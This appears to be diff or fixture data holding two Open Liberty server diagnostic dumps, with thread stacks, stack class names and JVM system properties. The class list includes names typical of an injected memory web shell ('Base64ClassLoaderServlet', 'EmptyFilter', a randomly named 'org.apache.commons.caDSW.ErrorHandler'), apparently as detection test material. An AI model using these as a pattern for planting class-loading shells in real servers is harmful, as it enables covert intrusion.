at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:571)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:926)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1015)
|
||||
at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:232)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1160)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Finalizer thread" #25 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Slave" #19 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"zip file reaper" #75 daemon [WAITING] on com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock@75599147
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:682)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:199)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Active Thread: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9476a25b
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-2" #48 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7cb23130
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-12" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@299ec668
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"GC Slave" #23 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@c9877e5d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:168)
|
||||
at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:250)
|
||||
at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:181)
|
||||
at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:716)
|
||||
at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:310)
|
||||
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114)
|
||||
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100)
|
||||
at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:212)
|
||||
at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:242)
|
||||
at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117)
|
||||
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59)
|
||||
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
com.ibm.lang.management.internal.MemoryNotificationThread
|
||||
com.ibm.misc.SignalDispatcher
|
||||
com.ibm.tools.attach.target.CommonDirectory
|
||||
com.ibm.tools.attach.target.IPC
|
||||
com.ibm.tools.attach.target.WaitLoop
|
||||
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock
|
||||
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable
|
||||
com.ibm.ws.http.channel.internal.inbound.HttpInboundLink
|
||||
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink
|
||||
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper
|
||||
com.ibm.ws.kernel.boot.Launcher
|
||||
com.ibm.ws.kernel.boot.cmdline.EnvCheck
|
||||
com.ibm.ws.kernel.boot.internal.KernelBootstrap
|
||||
com.ibm.ws.kernel.launch.internal.FrameworkManager
|
||||
com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl
|
||||
com.ibm.ws.kernel.launch.internal.ServerCommandListener
|
||||
com.ibm.ws.kernel.launch.internal.ServerCommandListener$2
|
||||
com.ibm.ws.security.jaspi.JaspiServletFilter
|
||||
com.ibm.ws.tcpchannel.internal.ChannelSelector
|
||||
com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback
|
||||
com.ibm.ws.tcpchannel.internal.WorkQueueManager
|
||||
com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker
|
||||
com.ibm.ws.threading.internal.BoundedBuffer
|
||||
com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper
|
||||
com.ibm.ws.webcontainer.WebContainer
|
||||
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
|
||||
com.ibm.ws.webcontainer.filter.WebAppFilterChain
|
||||
com.ibm.ws.webcontainer.filter.WebAppFilterManager
|
||||
com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2
|
||||
com.ibm.ws.webcontainer.servlet.CacheServletWrapper
|
||||
com.ibm.ws.webcontainer.servlet.ServletWrapper
|
||||
com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40
|
||||
org.apache.commons.caDSW.ErrorHandler
|
||||
org.apache.felix.scr.impl.ComponentActorThread
|
||||
org.eclipse.osgi.container.SystemModule
|
||||
org.eclipse.osgi.framework.eventmgr.EventManager
|
||||
org.eclipse.osgi.framework.eventmgr.EventManager$EventThread
|
||||
org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle
|
||||
org.eclipse.osgi.launch.Equinox
|
||||
org.eclipse.osgi.storage.bundlefile.MRUBundleFileList
|
||||
org.eclipse.osgi.storage.bundlefile.ZipBundleFile
|
||||
@@ -0,0 +1,999 @@
|
||||
# Generated At 2025-12-21 06:35:20
|
||||
SystemProps:
|
||||
com.ibm.ws390.jta.TransactionManager: com.ibm.wsspi.zos.tx.RRSTXSynchronizationManager
|
||||
java.vendor: AdoptOpenJDK
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
shared.resource.dir: /opt/ol/wlp/usr/shared/resources/
|
||||
os.name: Linux
|
||||
kernel.launch.time: 376333021825979
|
||||
sun.boot.class.path: /opt/java/openjdk/lib/amd64/default/jclSC180/vm.jar:/opt/java/openjdk/lib/se-service.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jce.jar
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
shared.app.dir: /opt/ol/wlp/usr/shared/apps/
|
||||
java.runtime.version: 1.8.0_292-b10
|
||||
wlp.lib.dir: /opt/ol/wlp/lib/
|
||||
wlp.svc.binding.root: /opt/ol/wlp/usr/servers/defaultServer/bindings/
|
||||
wlp.workarea.dir: workarea/
|
||||
user.name: default
|
||||
java.compiler: j9jit29
|
||||
os.encoding: UTF-8
|
||||
com.ibm.util.extralibs.properties:
|
||||
com.ibm.jcl.checkClassPath:
|
||||
server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/
|
||||
user.language: en
|
||||
jdk.attach.allowAttachSelf: true
|
||||
com.ibm.oti.vm.bootstrap.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64
|
||||
sun.boot.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64
|
||||
wlp.install.dir: /opt/ol/wlp/
|
||||
server.output.dir: /opt/ol/wlp/output/defaultServer/
|
||||
jdk.extensions.version: 8.0.292.0
|
||||
java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager
|
||||
java.version: 1.8.0_292
|
||||
user.timezone: GMT
|
||||
com.ibm.system.agent.path: /opt/java/openjdk/lib/amd64
|
||||
sun.arch.data.model: 64
|
||||
com.ibm.zero.version: 2
|
||||
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
|
||||
com.ibm.oti.vm.library.version: 29
|
||||
sun.jnu.encoding: UTF-8
|
||||
file.encoding.pkg: sun.io
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
com.ibm.ws.beta.edition: false
|
||||
user.country: US
|
||||
java.home: /opt/java/openjdk
|
||||
java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled)
|
||||
OpenJ9 - b4cc246d9
|
||||
OMR - 162e6f729
|
||||
JCL - 2a5e268814 based on jdk8u292-b10
|
||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
||||
sun.font.fontmanager: sun.awt.X11FontManager
|
||||
java.awt.fonts:
|
||||
path.separator: :
|
||||
org.apache.aries.blueprint.preemptiveShutdown: false
|
||||
java.vm.version: openj9-0.26.0
|
||||
user.variant:
|
||||
wlp.user.dir.isDefault: true
|
||||
ibm.cds.suppresserrors: true
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
jdk.extensions.name: Extensions for OpenJDK for Eclipse OpenJ9
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
ibm.signalhandling.sigint: true
|
||||
org.apache.cxf.stax.allowInsecureParser: 1
|
||||
user.home: /home/default
|
||||
com.ibm.cpu.endian: little
|
||||
java.specification.vendor: Oracle Corporation
|
||||
ibm.signalhandling.sigchain: true
|
||||
org.jboss.weld.xml.disableValidating: true
|
||||
java.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64:/usr/lib64:/usr/lib
|
||||
java.vendor.url: https://adoptopenjdk.net/
|
||||
java.vm.vendor: Eclipse OpenJ9
|
||||
java.fullversion: 1.8.0_292-b10
|
||||
JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled)
|
||||
OpenJ9 - b4cc246d9
|
||||
OMR - 162e6f729
|
||||
JCL - 2a5e268814 based on jdk8u292-b10
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.net.http.retryPost: false
|
||||
sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer
|
||||
java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar
|
||||
server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/
|
||||
wlp.user.dir: /opt/ol/wlp/usr/
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
sun.java.launcher.pid: 1
|
||||
java.vm.specification.version: 1.8
|
||||
sun.cpu.endian: little
|
||||
java.awt.headless: true
|
||||
java.io.tmpdir: /tmp
|
||||
ibm.system.encoding: UTF-8
|
||||
shared.config.dir: /opt/ol/wlp/usr/shared/config/
|
||||
os.arch: amd64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
ibm.signalhandling.rs: false
|
||||
java.ext.dirs: /opt/java/openjdk/lib/ext
|
||||
user.dir: /opt/ol/wlp/output/defaultServer
|
||||
line.separator:
|
||||
|
||||
java.vm.name: Eclipse OpenJ9 VM
|
||||
com.ibm.oti.shared.enabled: true
|
||||
com.ibm.vm.bitmode: 64
|
||||
wlp.process.type: server
|
||||
javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder
|
||||
file.encoding: UTF-8
|
||||
java.specification.version: 1.8
|
||||
com.ibm.oti.configuration: scar
|
||||
wlp.server.name: defaultServer
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Thread-24" #97 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199)
|
||||
at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35)
|
||||
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
|
||||
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-5" #86 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@2474fea
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Config-Thread-9" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b80cdb
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT Diagnostic Compilation Thread-007 Suspended" #9 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Inbound Read Selector.1" #100 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"process reaper" #70 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@cad8ce67
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
|
||||
at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #17 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Daemon" #95 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@e617ce91
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"IProfiler" #11 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"kernel-command-listener" #35 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:330)
|
||||
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.startListening(ServerCommandListener.java:315)
|
||||
at com.ibm.ws.kernel.launch.internal.FrameworkManager$4.run(FrameworkManager.java:763)
|
||||
|
||||
"JIT Compilation Thread-006 Suspended" #8 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-22" #92 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9bfe06bd
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@b0dd8875
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"VM Runtime State Listener" #12 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Worker" #22 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Outbound Write Selector.1" #103 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-18" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7aced195
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT Compilation Thread-000" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-14" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fb9e8ea9
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #16 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Framework Event Dispatcher: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #33 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@72a8558c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
|
||||
|
||||
"Connect Selector.1" #104 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-10" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c1a9f9d9
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Inbound Read Selector.1" #98 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-1" #49 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@60c57330
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"UniqueKeyRangeManager" #80 daemon [WAITING] on java.util.LinkedList@25e7f88d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager.run(UniqueKeyRangeManager.java:327)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"FlushHelper" #77 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$FlushHelper@3cc78174
|
||||
